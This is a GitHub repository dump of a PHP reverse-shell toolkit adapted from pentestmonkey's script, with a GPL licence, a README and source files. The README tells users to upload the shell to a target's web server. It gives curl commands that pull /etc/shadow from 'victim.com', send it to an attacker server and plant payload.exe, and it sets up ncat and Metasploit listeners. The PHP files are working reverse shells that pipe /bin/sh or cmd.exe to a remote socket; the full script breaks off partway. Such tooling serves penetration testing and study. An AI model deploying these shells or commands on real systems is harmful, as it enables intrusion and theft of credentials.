├── .gitattributes ├── LICENSE ├── README.md ├── img ├── ncat.png └── scripts_dump.jpg └── src ├── reverse ├── minified │ ├── php_reverse_shell_mini.php │ └── php_reverse_shell_older_mini.php ├── php_reverse_shell.php └── php_reverse_shell_older.php └── web ├── files.php ├── minified ├── files_mini.php ├── simple_php_web_shell_get__mini_v2.php ├── simple_php_web_shell_get_mini.php └── simple_php_web_shell_post_mini.php ├── simple_php_web_shell_get.php ├── simple_php_web_shell_get_v2.php └── simple_php_web_shell_post.php /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP Reverse Shell 2 | 3 | Just a little refresh on the popular PHP reverse shell script [pentestmonkey/php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell). Credits to the original author! 4 | 5 | Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Script will automatically detect the underlying OS. 6 | 7 | Works with both, `ncat` and `multi/handler`. 8 | 9 | Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit). 10 | 11 | Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit). 12 | 13 | Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit). 14 | 15 | In addition, everything was tested on Docker images [nouphet/docker-php4](https://hub.docker.com/r/nouphet/docker-php4) with PHP v4.4.0 and [steeze/php52-nginx](https://hub.docker.com/r/steeze/php52-nginx) with PHP v5.2.17. 16 | 17 | Made for educational purposes. I hope it will help! 18 | 19 | **Process pipes on Windows OS do not support asynchronous operations so `stream_set_blocking()`, `stream_select()`, and `feof()` will not work properly, but I found a workaround.** 20 | 21 | ## Table of Contents 22 | 23 | * [Reverse Shells](#reverse-shells) 24 | * [Web Shells](#web-shells) 25 | * [File Upload/Download Script](#file-uploaddownload-script) 26 | * [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server) 27 | * [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server) 28 | * [Set Up a Listener](#set-up-a-listener) 29 | * [Images](#images) 30 | 31 | ## Reverse Shells 32 | 33 | [/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php) requires PHP v5.0.0 or greater. 34 | 35 | [/src/reverse/php_reverse_shell_older.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell_older.php) requires PHP v4.3.0 or greater. 36 | 37 | **Change the IP address and port number inside the scripts as necessary.** 38 | 39 | Copy [/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php) to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server. 40 | 41 | Navigate to the file with your preferred web browser. 42 | 43 | ## Web Shells 44 | 45 | Check the [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_post.php) based on HTTP POST request. 46 | 47 | Check the [simple PHP web shell](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get.php) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands. 48 | 49 | Check the [simple PHP web shell v2](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/simple_php_web_shell_get_v2.php) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands. 50 | 51 | Find out more about PHP obfuscation techniques for old versions of PHP at [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF). Credits to the author! 52 | 53 | ## File Upload/Download Script 54 | 55 | Check the [simple PHP file upload/download script](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/web/files.php) based on HTTP POST request for file upload and HTTP GET request for file download. 56 | 57 | When downloading a file, you must [URL encode](https://www.urlencoder.org) the file path, and don't forget to specify the output file if using cURL. 58 | 59 | When uploading a file, don't forget to specify `@` before the file path. 60 | 61 | Depending on the server configuration, downloading a file through HTTP GET request parameter might not always work, instead, you will have to hardcore the file path in the script. 62 | 63 | ### Case 1: Upload the Script to the Victim’s Server 64 | 65 | Navigate to the script on the victim's web server with your preferred web browser, or use cURL from you PC. 66 | 67 | Upload a file to the server's web root directory from your PC: 68 | 69 | ```fundamental 70 | curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe 71 | ``` 72 | 73 | Download a file from the server to your PC: 74 | 75 | ```fundamental 76 | curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow 77 | ``` 78 | 79 | If you elevated your initial privileges within your reverse shell, this script might not have the same privileges as the shell. In that case, to download a certain file, you might need to copy the file to the web root directory and set the necessary read permissions. 80 | 81 | ### Case 2: Upload the Script to Your Server 82 | 83 | From your PHP reverse shell, run the following cURL commands. 84 | 85 | Upload a file from the victim's PC to your server's web root directory: 86 | 87 | ```fundamental 88 | curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow 89 | ``` 90 | 91 | Download a file from your server's web root directory to the victim's PC: 92 | 93 | ```fundamental 94 | curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe 95 | 96 | curl -skL -X GET https://my-server.com/payload.exe -o payload.exe 97 | ``` 98 | 99 | ## Set Up a Listener 100 | 101 | To set up a listener, open your preferred console on Kali Linux and run one of the examples below. 102 | 103 | Set up `ncat` listener: 104 | 105 | ```fundamental 106 | ncat -nvlp 9000 107 | ``` 108 | 109 | Set up `multi/handler` listener: 110 | 111 | ```fundamental 112 | msfconsole -q 113 | 114 | use exploit/multi/handler 115 | 116 | set PAYLOAD windows/shell_reverse_tcp 117 | 118 | set LHOST 192.168.8.185 119 | 120 | set LPORT 9000 121 | 122 | exploit 123 | ``` 124 | 125 | ## Images 126 | 127 |

Ncat

128 | 129 |

Figure 1 - Ncat

130 | 131 |

Script Dump

132 | 133 |

Figure 2 - Script's Dump

134 | -------------------------------------------------------------------------------- /img/ncat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/9c5fc8326abc243a7b2591bf7b3691bf23960a8c/img/ncat.png -------------------------------------------------------------------------------- /img/scripts_dump.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/9c5fc8326abc243a7b2591bf7b3691bf23960a8c/img/scripts_dump.jpg -------------------------------------------------------------------------------- /src/reverse/minified/php_reverse_shell_mini.php: -------------------------------------------------------------------------------- 1 | array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));private $b=1024;private $c=0;private $e=false;private $sd=true;public function __construct($a,$p){$this->a=$a;$this->p=$p;}private function det(){$d=true;$os=PHP_OS;if(stripos($os,'LINUX')!==false||stripos($os,'DARWIN')!==false){$this->os='LINUX';$this->sh='/bin/sh';}else if(stripos($os,'WINDOWS')!==false||stripos($os,'WINNT')!==false||stripos($os,'WIN32')!==false){$this->os='WINDOWS';$this->sh='cmd.exe';}else{$d=false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $d;}private function daem(){$e=false;if(!function_exists('pcntl_fork')){echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";}else if(($pid=@pcntl_fork())<0){echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";}else if($pid>0){$e=true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";}else if(posix_setsid()<0){echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";}else{echo "DAEMONIZE: Completed successfully!\n";}return $e;}private function sett(){@error_reporting(0);@set_time_limit(0);@umask(0);}private function d($d){if($this->sd){$d=str_replace('<','<',$d);$d=str_replace('>','>',$d);echo $d;}}private function r($s,$n,$b){if(($d=@fread($s,$b))===false){$this->e=true;echo"STRM_ERROR: Cannot read from {$n}, script will now exit...\n";}return $d;}private function w($s,$n,$d){if(($by=@fwrite($s,$d))===false){$this->e=true;echo"STRM_ERROR: Cannot write to {$n}, script will now exit...\n";}return $by;}private function rw($i,$o,$in,$on){while(($d=$this->r($i,$in,$this->b))&&$this->w($o,$on,$d)){if($this->os==='WINDOWS'&&$on==='STDIN'){$this->c+=strlen($d);}$this->d($d);}}private function brw($i,$o,$in,$on){$s=fstat($i)['size'];if($this->os==='WINDOWS'&&$in==='STDOUT'&&$this->c){while($this->c>0&&($by=$this->c>=$this->b?$this->b:$this->c)&&$this->r($i,$in,$by)){$this->c-=$by;$s-=$by;}}while($s>0&&($by=$s>=$this->b?$this->b:$s)&&($d=$this->r($i,$in,$by))&&$this->w($o,$on,$d)){$s-=$by;$this->d($d);}}public function rn(){if($this->det()&&!$this->daem()){$this->sett();$soc=@fsockopen($this->a,$this->p,$ern,$ers,30);if(!$soc){echo"SOC_ERROR: {$ern}: {$ers}\n";}else{stream_set_blocking($soc,false);$proc=@proc_open($this->sh,$this->des,$ps,null,null);if(!$proc){echo "PROC_ERROR: Cannot start the shell\n";}else{foreach($ps as $p){stream_set_blocking($p,false);}$stat=proc_get_status($proc);@fwrite($soc,"SOCKET: Shell has connected! PID: {$stat['pid']}\n");do{$stat=proc_get_status($proc);if(feof($soc)){echo "SOC_ERROR: Shell connection has been terminated\n";break;}else if(feof($ps[1])||!$stat['running']){echo "PROC_ERROR: Shell process has been terminated\n";break;}$s=array('read'=>array($soc,$ps[1],$ps[2]),'write'=>null,'except'=>null);$ncs=@stream_select($s['read'],$s['write'],$s['except'],0);if($ncs===false){echo "STRM_ERROR: stream_select() failed\n";break;}else if($ncs>0){if($this->os==='LINUX'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(in_array($ps[2],$s['read'])){$this->rw($ps[2],$soc,'STDERR','SOCKET');}if(in_array($ps[1],$s['read'])){$this->rw($ps[1],$soc,'STDOUT','SOCKET');}}else if($this->os==='WINDOWS'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(($f=fstat($ps[2]))&&$f['size']){$this->brw($ps[2],$soc,'STDERR','SOCKET');}if(($f=fstat($ps[1]))&&$f['size']){$this->brw($ps[1],$soc,'STDOUT','SOCKET');}}}}while(!$this->e);foreach($ps as $p){fclose($p);}proc_close($proc);}fclose($soc);}}}}echo '
';$sh=new Sh('127.0.0.1',9000);$sh->rn();unset($sh);/*@gc_collect_cycles();*/echo '
'; ?> 2 | -------------------------------------------------------------------------------- /src/reverse/minified/php_reverse_shell_older_mini.php: -------------------------------------------------------------------------------- 1 | array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));var $b=1024;var $c=0;var $e=false;var $sd=true;function Sh($a,$p){$this->a=$a;$this->p=$p;}function det(){$d=true;$os=strtoupper(PHP_OS);if(strpos($os,'LINUX')!==false||strpos($os,'DARWIN')!==false){$this->os='LINUX';$this->sh='/bin/sh';}else if(strpos($os,'WINDOWS')!==false||strpos($os,'WINNT')!==false||strpos($os,'WIN32')!==false){$this->os='WINDOWS';$this->sh='cmd.exe';}else{$d=false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";}return $d;}function daem(){$e=false;if(!function_exists('pcntl_fork')){echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";}else if(($pid=@pcntl_fork())<0){echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";}else if($pid>0){$e=true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";}else if(posix_setsid()<0){echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";}else{echo "DAEMONIZE: Completed successfully!\n";}return $e;}function sett(){@error_reporting(0);@set_time_limit(0);@umask(0);}function d($d){if($this->sd){$d=str_replace('<','<',$d);$d=str_replace('>','>',$d);echo $d;}}function r($s,$n,$b){if(($d=@fread($s,$b))===false){$this->e=true;echo"STRM_ERROR: Cannot read from {$n}, script will now exit...\n";}return $d;}function w($s,$n,$d){if(($by=@fwrite($s,$d))===false){$this->e=true;echo"STRM_ERROR: Cannot write to {$n}, script will now exit...\n";}return $by;}function rw($i,$o,$in,$on){while(($d=$this->r($i,$in,$this->b))&&$this->w($o,$on,$d)){if($this->os==='WINDOWS'&&$on==='STDIN'){$this->c+=strlen($d);}$this->d($d);}}function brw($i,$o,$in,$on){$s=fstat($i)['size'];if($this->os==='WINDOWS'&&$in==='STDOUT'&&$this->c){while($this->c>0&&($by=$this->c>=$this->b?$this->b:$this->c)&&$this->r($i,$in,$by)){$this->c-=$by;$s-=$by;}}while($s>0&&($by=$s>=$this->b?$this->b:$s)&&($d=$this->r($i,$in,$by))&&$this->w($o,$on,$d)){$s-=$by;$this->d($d);}}function rn(){if($this->det()&&!$this->daem()){$this->sett();$soc=@fsockopen($this->a,$this->p,$ern,$ers,30);if(!$soc){echo"SOC_ERROR: {$ern}: {$ers}\n";}else{stream_set_blocking($soc,false);$proc=@proc_open($this->sh,$this->des,$ps);if(!$proc){echo "PROC_ERROR: Cannot start the shell\n";}else{foreach($ps as $p){stream_set_blocking($p,false);}@fwrite($soc,"SOCKET: Shell has connected!\n");do{if(feof($soc)){echo "SOC_ERROR: Shell connection has been terminated\n";break;}else if(feof($ps[1])){echo "PROC_ERROR: Shell process has been terminated\n";break;}$s=array('read'=>array($soc,$ps[1],$ps[2]),'write'=>null,'except'=>null);$ncs=@stream_select($s['read'],$s['write'],$s['except'],0);if($ncs===false){echo "STRM_ERROR: stream_select() failed\n";break;}else if($ncs>0){if($this->os==='LINUX'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(in_array($ps[2],$s['read'])){$this->rw($ps[2],$soc,'STDERR','SOCKET');}if(in_array($ps[1],$s['read'])){$this->rw($ps[1],$soc,'STDOUT','SOCKET');}}else if($this->os==='WINDOWS'){if(in_array($soc,$s['read'])){$this->rw($soc,$ps[0],'SOCKET','STDIN');}if(($f=fstat($ps[2]))&&$f['size']){$this->brw($ps[2],$soc,'STDERR','SOCKET');}if(($f=fstat($ps[1]))&&$f['size']){$this->brw($ps[1],$soc,'STDOUT','SOCKET');}}}}while(!$this->e);foreach($ps as $p){fclose($p);}proc_close($proc);}fclose($soc);}}}}echo '
';$sh=new Sh('127.0.0.1',9000);$sh->rn();unset($sh);/*@gc_collect_cycles();*/echo '
'; ?> 2 | -------------------------------------------------------------------------------- /src/reverse/php_reverse_shell.php: -------------------------------------------------------------------------------- 1 | array('pipe', 'r'), // shell can read from STDIN 14 | 1 => array('pipe', 'w'), // shell can write to STDOUT 15 | 2 => array('pipe', 'w') // shell can write to STDERR 16 | ); 17 | private $buffer = 1024; // read/write buffer size 18 | private $clen = 0; // command length 19 | private $error = false; // stream read/write error 20 | private $sdump = true; // script's dump 21 | public function __construct($addr, $port) { 22 | $this->addr = $addr; 23 | $this->port = $port; 24 | } 25 | private function detect() { 26 | $detected = true; 27 | $os = PHP_OS; 28 | if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) { 29 | $this->os = 'LINUX'; 30 | $this->shell = '/bin/sh'; 31 | } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) { 32 | $this->os = 'WINDOWS'; 33 | $this->shell = 'cmd.exe'; 34 | } else { 35 | $detected = false; 36 | echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; 37 | } 38 | return $detected; 39 | } 40 | private function daemonize() { 41 | $exit = false; 42 | if (!function_exists('pcntl_fork')) { 43 | echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; 44 | } else if (($pid = @pcntl_fork()) < 0) { 45 | echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; 46 | } else if ($pid > 0) { 47 | $exit = true; 48 | echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; 49 | // once daemonized, you will actually no longer see the script's dump 50 | } else if (posix_setsid() < 0) { 51 | echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; 52 | } else { 53 | echo "DAEMONIZE: Completed successfully!\n"; 54 | } 55 | return $exit; 56 | } 57 | private function settings() { 58 | @error_reporting(0); 59 